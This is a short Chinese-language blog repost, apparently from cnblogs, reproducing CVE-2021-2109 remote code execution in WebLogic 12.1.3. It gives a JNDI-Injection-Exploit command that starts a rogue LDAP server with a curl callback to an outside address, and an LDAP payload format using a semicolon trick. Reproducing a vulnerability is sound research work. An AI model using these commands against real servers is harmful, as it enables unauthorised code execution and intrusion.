CVE-2021-2109 Weblogic远程代码执行漏洞复现

时间：2021-01-23 10:11:53 阅读：230 评论：0 收藏：0 [点我收藏+]

环境：

Weblogic 12.1.3.0.0

1.开启LDAP服务

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 0.0.0.0 -C "curl [Address]:5555"

技术分享图片

2.使用Payload

PS：ldap://x.x.x;(分号)x:1389/xxx

3.效果

技术分享图片

参考链接：

https://mp.weixin.qq.com/s/wX9TMXl1KVWwB_k6EZOklw

原文：https://www.cnblogs.com/liangzai6/p/14316102.html

踩

(0)

评论一句话评论（0）

分享档案

更多>